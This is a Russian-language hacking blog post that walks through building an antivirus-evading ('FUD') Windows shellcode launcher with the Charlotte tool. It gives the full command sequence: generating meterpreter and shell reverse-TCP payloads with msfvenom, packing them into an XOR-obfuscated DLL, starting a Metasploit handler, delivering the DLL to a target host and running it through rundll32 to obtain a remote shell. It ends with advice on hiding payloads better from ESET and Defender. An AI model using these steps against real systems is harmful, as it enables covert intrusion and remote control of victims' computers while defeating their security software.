FUD - Маскируем Shellcode под Windows
Life-Hack [Жизнь-Взлом]/ХакингВ этой статье разберем метод создания FUD шеллкода под Windows платформу.
Для начала, немного теории:
- FUD - Fully Undetectable - Способ сокрытия потенциально вредоносных функций кода, путем обфускации, для уменьшения/исключения количества случаев определения кода антивирусными решениями, как вредоносного.
- Shellcode - это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh' в Unix shell, 'command.com' в MS-DOS и 'cmd.exe' в операционных системах Microsoft Windows. Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.
Для того, чтобы достичь максимального профита в данном вопросе и в данном конкретном случае мы будем использовать:
Charlotte - C++ Fully Undetected Shellcode Launcher
Description:
- Средство запуска шелл-кода c ++, полностью необнаруженное 0/26 по состоянию на 13 мая 2021 г.
- Динамический вызов функций api win32
- XOR-шифрование шелл-кода и имен функций
- Рандомизированные ключи XOR и переменные за запуск
- Требования для Kali Linux просто «apt-get install mingw-w64 *»
- Рандомизация длины случайных строк и ключей XOR
Приступаем к реализации задуманного:
git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64* cd charlotte

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin

python charlotte.py

Такой вывод, должен вас ждать в случае успешного создания dll файла для запуска его на целевом хосте.
rundll32 charlotte.dll, STmdDoaQ

STmdDoaQ -В данном случае выступает ключом, с которым мы позже запустим dll на целевом хосте.
Запускаем обработчик входящих подключений на атакующем хосте:
msfconsole
use exploit/multi/handler
set LHOST {IP}
set LPORT {port}

Доставляем файл charlotte.dll на целевой хост, и выполняем:
rundll32 charlotte.dll, STmdDoaQ

В результате, закономерно получаем шелл на целевом хосте:

В целом, всё выглядит неплохо, но если на борту у целевого хоста стоит антивирус, нормальный с последними обновлениями то мы получаем срабатывание на meterpreter, так как он не палится только ленивыми.
Попробуем немного видоизменить полезную нагрузку:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.101 LPORT=4444 -f raw > beacon.bin

Запускаем обработчик:

Данный тест проводился на Windows 10 с последними обновлениями и наличием антивирусного решения ESET, и как результат, ESET убил полезную нагрузку.

Вывод:
- Метод и инструмент достаточно хорош, dll файл не распознается как вредоносный ни антивирусом ни Windows Defender
- Использование стандартных полезных нагрузок не сработает, в случае наличия вменяемого антивирусного решения на целевом хосте
- Нужно использовать отличные от предлагаемых стандартных методов сокрытия полезной нагрузки для достижения желаемого результата.